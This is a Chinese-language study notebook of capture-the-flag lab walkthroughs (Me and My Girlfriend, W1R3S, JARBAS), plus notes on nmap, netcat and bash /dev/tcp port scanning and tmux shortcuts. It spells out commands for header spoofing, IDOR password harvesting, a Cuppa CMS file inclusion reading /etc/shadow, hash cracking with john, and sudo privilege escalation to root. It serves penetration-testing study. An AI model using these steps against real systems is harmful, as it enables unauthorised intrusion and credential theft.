红队笔记
[TOC]
Me and Girfriend
- 使用 nmap 扫描整个 C 段:
sudo nmap -sn 192.168.xxx.0/24
- 使用 nmap 扫描 tcp (-sT), 以最小速率 10000(–min-rate 10000),扫描全端口 (-p-), 保存在 ports 中
sudo nmap -sT --min-rate 10000 -p- 192.168.xxx.xx -oA nmapscan/ports
- 注: -sS 是半开放,-sT 是全开放,由于是本地不担心流量
- 扫描版本 -sV,使用默认脚本 -sC, 探测操作系统版本 -O,选择扫描出的端口 -p22,80, 全格式 -oA保存在detail 文件中
sudo nmap -sV -sT -sC -O -p22,80 192.168.255.137 -oA nmapscan/detail
- 同时进行 udp 的扫描,扫描 udp: -sU ,只需扫描前20端口 –top-ports 20 , 结果保存在 udp 中 -oA nmap/udp
sudo nmap -sU --top-ports 20 192.168.255.137 -oA nmapscan/udp
- 扫描漏洞
nmap --script=vuln -p22,80 192.168.255.137
- 同时进行目录爆破
gobuster dir -u http://192.168.255.137 -w /usr/share/disbister/wordlists/directory-list-w.3-medium.txt
\ - 看目录爆破,没有有用的目录
- 看看有没有特定后缀的文件 -x txt,sql,rar,zip,tar
- 打开浏览器看 web 端,看源代码,写了 x-forwarded-for
- 根据提示设定主机头, 在 bp 中的 proxy - options - replace and match - add :
x-forwarded-for:localhost
- 进行访问,发现打开了一个网页
- 点击各个功能,看源码,无有用注释
- 先注册试一下,登录进去,看一下地址栏(有登录就有库,可能会有 sql 注入、爆库)
- 看一下源码,没有发现
- 在 dashboard 改地址栏 id ,没变化;但是在 profile 里改 id 有变化
- 有密码,看一下是不是明文的 - 是。利用用户名密码暴库,只有80和22,ssh xxx@192.168.xxx.xx
- 发现 alice 可以登录成功,其他不成功,目的是拿到权限偏高的,这样方便提权
- 在 alice 下
uname -a
,看一下操作系统;ip -a
看ip - 到home 下看有几个用户
cd /home
-ls
- 先看一下 alice 的信息 cd /home/alice
ls -liah
- 其他用户没有信息
- 完善一下环境变量
export TERM=xterm-color
- 信息枚举,先看一下
cd /var/www/html
- 都看一下,除了 config 没啥有用的
cd config
ls
cat config.php
, 发现使用root连接的mysql -uroot -p
连接一下show databases;
use ceban_corp;
show tables;
select * from tbl_users;
- 没什么有用的信息
- 看一下当前的权限 “sudo - l”
- 提权
sudo /usr/bin/php -r "system('/bin/bash');"
- whoami 、ip a
- ls
- 发现 flag2
- 在 alice 下找一下 ls -liah
- 在 .my_secret 下 发现 flag1.txt
主机发现和端口扫描的基本原理和工具选择
[toc]
nmap 扫描逻辑 - 不遗漏
nmap 帮助文件
- nmap –help
扫描 c 段
- 看主机的 ip 段 -
ip a
- 对 c 段进行扫描
sudo nmap -sn 192.168.200.0/24
- 数量大于 1000,使用sudo
- 看主机的 ip 段 -
扫描目标端口
sudo nmap --min-rate 10000 -p- 192.168.200.131
- 以最小速度 10000 扫描端口-p 是端口 - 是从1到65535,也就是全端口扫描
- 实际过程中,网络环境复杂建议大家扫两遍,因为可能会有防火墙、延迟等的干扰。
- 两次结果如果相同,基本没问题;如果不一样,要分析原因,调整参数,继续扫描。
扫描 udp 端口
sudo nmap -sU --min-rate 10000 -p- xxxx.xx.xx.xx
对服务的扫描,(重要)
sudo nmap -sT -sV -O -p80,111,777,52497,5353,40444 172.168.xxx.xxx
- 使用稳定的 TCP 模式去探测版本,操作系统,服务
对这些端口,使用内置脚本进行漏洞扫描
sudo nmap --script=vuln -p80,111,xxx 172.168.xxx.xx
非 nmap 环境的主机发现
for i in {1..254};do ping -c 1 -W 1 172.16.xx.$i;done
- 使用 for 循环 找c段,-c 是计数,在一次应答后就停止,-W 是超时事件,使用$变量表示 变的数,done表示完成。
- 但是不需要这么多信息,要做筛选
- 退出
kill -9 %1
kill最近一条 - 找到开放的主机,包括不包含的主机ip,从中找到开放主机的特征,比如 129开,132没开
for i in {129..132};do ping -c 1 -W 1 172.16.xx.$i;done
- 发现 ping 成功有一个 from,将其作为特征字符
for i in {1..254};do ping -c 1 -W 1 172.16.xx.$i | grep from;done
netcat 实现端口扫描
nc.traditional -vv -z xx.xx.xxx.xx 1-65535
- -vv 详细信息;-z 0 信息显示
- 太多,取样本:可以自己开机器做实验
nc.traditional -vv -z xx.xx.xxx.xx 80-112
- 发现有 refused 是关闭的
nc traditional -vv -z xx.xx.xxx.xx 1-65535 |grep -v refused
- -v 表示反向结果
- 但是所有信息被显示了,只是过滤了文字
nc traditional -vv -z xx.xx.xxx.xx 1-65535 2>&1 |grep -v refused
- 2 代表错误输出,1是正常输出。把2传给1,把错误信息变为一种信息
伪设备实现端口扫描
echo $SHELL
- 看一下目前使用的什么 shell,发现是zsh,但是经典的语句都是基于bash的,比较稳定。linux 中设备都是映射文件,可以用文件模拟设备
bash
切换到bashfor i in {1..65535};do (echo < /dev/tcp/172.xxx.xxx.x/$i)
- 做一些处理
for i in {1..65535};do (echo < /dev/tcp/172.xxx.xxx.x/$i) &>/dev/null && printf “\n[+] The Open Port is:%d\n" "&i" | grep -v refused;done
- &>/dev/null : 不写默认 0,1,不论正确错误都扔到 /dev/null
- && 前面成功执行,后面才会执行;如果前面没找到,后面就不执行
- 其实不用 grep 过滤了,因为&&这个逻辑代替了。目前没有进度的展示
for i in {1..65535};do (echo < /dev/tcp/172.xxx.xxx.x/$i) &>/dev/null && printf “\n[+] The Open Port is:%d\n" "&i" || printf ".";done
- 这样运行的时候就会持续有 … 显示出来
- chisel sshuttle 做流量代理转发、隧道的
IPv6 扫描
- 需要用到 IOXIDResolver(github 上下一个)
- sudo wget https://raw.githubxxxx.com/xxx
- sudo chmod +x IOXIDResolver.py
- sudo python3 ./IOXIDResolver.py –help
- sudo python3 ./IOXIDResolver.py -t 10.129.xxx.xxx
- 很容易就识别到了 ipv6 的地址
nmap ipv6
sudo nmap -6 --min-rate 10000 -p- dead:beef::bb885:d62a:d679:573f
snmpwalk
- sudo snmpwalk -v2c -c public 10.129.228.39
效率工具和设置之 终端复用与界面移动
[toc]
- 能不用图形界面就不用图形界面
- 能不用中文的工具就不用中文的工具
- 能不做个性设置就不做个性设置
tmux 终端复用
- tmux
- ctrl + b 上下左右切换
- ctrl + z 全屏
- ctrl + b ? 帮助菜单
- ctrl +b shift+” 上下切分
- ctrl +b shift+% 左右切分
shell 命令中的快速移动
- ls / -liah
- ctrl + a 回到开头
- ctrl + e 回到节为
find / -name “*backuo*” 2</dev/null | sort | uniq
(找名字,把错误信息扔掉)- alt + b 向左移动一个词
- alt + f 向右移动一个词
- ctrl + w 删除前一个词
- ctrl + d 删除后一个词
- ctrl + K 从光标删到结尾
- ctrl + u 从光标删到开头
靶机实操精讲 - W1R3S
[toc]
ip a
看自己的网段- 靶机未开启之前使用nmap 扫一遍;开了再扫一遍
nmap -sn xx.xx.xx.xx/24
- 正常红队环境不用 nmap,会被特征识别
- 扫描的时候要兼顾 全 和 准
- 端口不能遗漏;服务要扫描到
sudo nmap --min-rate 10000 -p- xx.xx.xx.xx
- 检查一下 ip 防止基础信息出错;建议扫两遍
sudo nmap -sT -sV -O -pxx,xx xx.x.xx.x
- 以tcp的方式进行扫描,扫描服务名称、版本,扫描对应的操作系统,扫描对应开放端口,ip
- 最好把所有的信息保存到文本里
- 在扫描一下 udp
sudo nmap -sU -p21,22,xxx 10.xx.xx.xx
- 使用自带脚本扫描容易发现的漏洞
sudo nmap --script=vuln -p222,.xxx 10.xx.xx.x
- 不要用 root 扫描,权限过大;默认扫1024之前的需要root权限,所以sudo
- 21 是 ftp,如果可以匿名登录,可写就有操作空间
- 22 是 ssh,有攻击面的可能性不大;可能有暴力破解,版本漏洞,技术含量不大
- 80 是 http 端口,攻击面最大,可以暴露出很多信息
- 3306 是 mySQL 端口,几乎匹敌 web,有很多攻击面
- 扫描后 第一个 漏洞是 dos 拒绝服务攻击,一般遇到这种基本忽略;第二个是 wordpress 重点看;mySQL 没啥;并发现这个主机使用 vmware 搭建的。
- 实际渗透发现 是 vmware,说明使用虚拟机搭建的,那么宿主环境很可能就是 windows(也有可能是蜜罐)
- 半个小时不行,迅速切换
- 使用 ftp 连接一下
ftp 10.x.x.x
- 发现提示:wlecome
- 需要用户名,使用匿名:anonymous
- 试一下,需要密码,试一下空密码,发现 login successful
- 使用 ls 列目录
- 发现 content 目录下有3个 txt
- 使用mget 获得3个文件
mget 0*.txt
;单个用 get- 同样的把docs、new-employees 拿到本地
- 如果是 库之类的文件
- 先执行
binary
,再下载就不会损坏 - 默认是 ascii ,会损坏文件
- 回到根目录,ls 发现文件都没写权限,没法传马
- w1r3s - 是 leetspeak 格式,意思是 wires
- cat 02.txt 发现加密字符
- 使用
hash-identifier '01ec2d8fc11c493bsssssdfsdfce'
- 执行后,发现显示最可能是,md5;第二条 not found,有可能是 base64
echo '5Xssdfsdfsdfdsf==' | base64 -d
- 显示
it is easy,but not that easy..
- md5 用网站解密一下,发现是
xxx:this is not a password
- 在 employee-names 中有用户名,要保持敏感,可能有高权限
- worktodo.txt 中是倒转的字
echo 'xxxxxx' | rev
可以前后顺序调转;但是上下反转不行- 在搜索引擎里搜索 upside down text,可以实现反转前后顺序调转的工具,信息没什么用发现
- 打开 80 端口,是一个 Ubuntu 的 Apache 的服务器,一般这个界面没什么做手脚的地方。
- 当然也有可能留一个目录,一般不会
- 前面发现有可能用了 wordpress,所以现在用目录爆破一下
- gobuster、dirb、feroxbuster
sudo ferobuster -u http://xx.xx.xx.x -w /usr/share/seclists/Discovery/web-Content/raft-medium-directories.txt
- -w 选择字典,一般在这个目录下,使用 tabs 选择字典
- 看到有 wordpress 的目录了,确定有 wordpress 了(有专门的扫描工具 wpscan)
- wordpress 直接跳转到了 localhost ,需要手动修改 localhost
- 先看 administrator目录
- 标题显示了 cuppa CMS,发现是一个 CMS 的安装界面。安装一般有写权限,是一次性的(一般安装完会删除),重点关注
- 点击 next,试着装一下。发现 database 它少打了一个e,这个 拼错的东西是一个独特的标识,通过搜索引擎,可能会找到更多有用的信息
- 创建一个 数据库 cuppatest,密码 qwer1234,email :a@b.com; 用户名和密码默认 admin
- 点击 next, 显示 administrator user created no(反复试几次,不行),注入漏洞也不行(一般没有),暂时放弃
searchsploit cuppa cms
- 先用这个搜索(去掉空格也试一下),不能利用再到网上搜
searchsoloit cupa cms -m 25971
- cat xxx.txt 看一下
- 是一个文件包含漏洞,根据提示看一下 exp
10.10.10.18/cuppa/alerts/alertConfigFileld.php?urlconfig=../../../../../../../etc/passwd
- 发现不存在,删除 cuppa 目录(一般不会加设这个目录);再根目录的administrator下发现读取到了一些东西
- 类似于对话框,可能是走不通的提示;看看其他细节,试一下
- 回看txt,里面有一个 需要 base64 转换;有可能 urlCOnfig 出了问题
- 在kali中
sudo curl --data-urlencode urlConfig=../../../../../../../etc/passwd http://10.10.10.18/administrator/alerts/alertConfigField.php
- 规避掉 request 体中包含出现的问题
sudo curl --data-urlencode urlConfig=../../../../../../../etc/passwd http://10.10.10.18/administrator/alerts/alertConfigField.php | html2text
- 格式化成 html
- 获得了 passwd 的命令,再看一下 shadow 文件
- 发现拿到了 shadow 文件
- 把其中 www-data 和 w1r3s 内容拷贝一下(root 绝大多情况不允许远程)
- 新建一个 vim
sudo vim hash,然后
:set paste`粘贴过去 - 考虑能不能解密 , 先用john 自带的字典尝试破解
john hash
, 这样就获得了两个密码- ssh 登录下
sudo ssh w1r3s@10.10.101.8
- 成功登录入靶机
- 看看目前有什么权限
whoami
- 然后
uname -a
- 然后看目录的权限
sudo -l
- 发现 是 ALL 权限
sudo /bin/bash
获得 root 权限- 用 whoami 发现是root了
cd /root
-ls
- 发现了 flag.txt
cat flag.txt
JARBAS
[toc]
- 主机发现
sduo nmap -sn 10.10.10.0/24
- 扫描端口
sudo nmap --min-rate 10000 -p- 10.10.10.21
- 扫描服务
sudo nmap -sT -sV -O -p22,80,3306,8080 10.10.10.21
- udp 扫描
sudo nmap -sU -p22,80,3306,8080 10.10.21
- 扫描漏洞
sudo nmap --script=vuln -p22,80,3306,8080 10.10.10.21
- 80 优先级第一,但是没发现漏洞,有个 icons 目录;22 放最后; 3306 没什么;8080 有个目录
- 重点看 web ,打开浏览器。80 是一个常见 cms 页面;8080 是一个管理端
- 再看一下 robots.txt :
we dont want robots click "build" click
- 管理端爆破用户名密码意义不大
- 先扫描 80 的目录
sudo dirb http://10.10.10.21
sudo gobuster -u http://10.10.,10.21 -w /usr/share/seclists/Discovery/Web-content/raft-large-directories.txt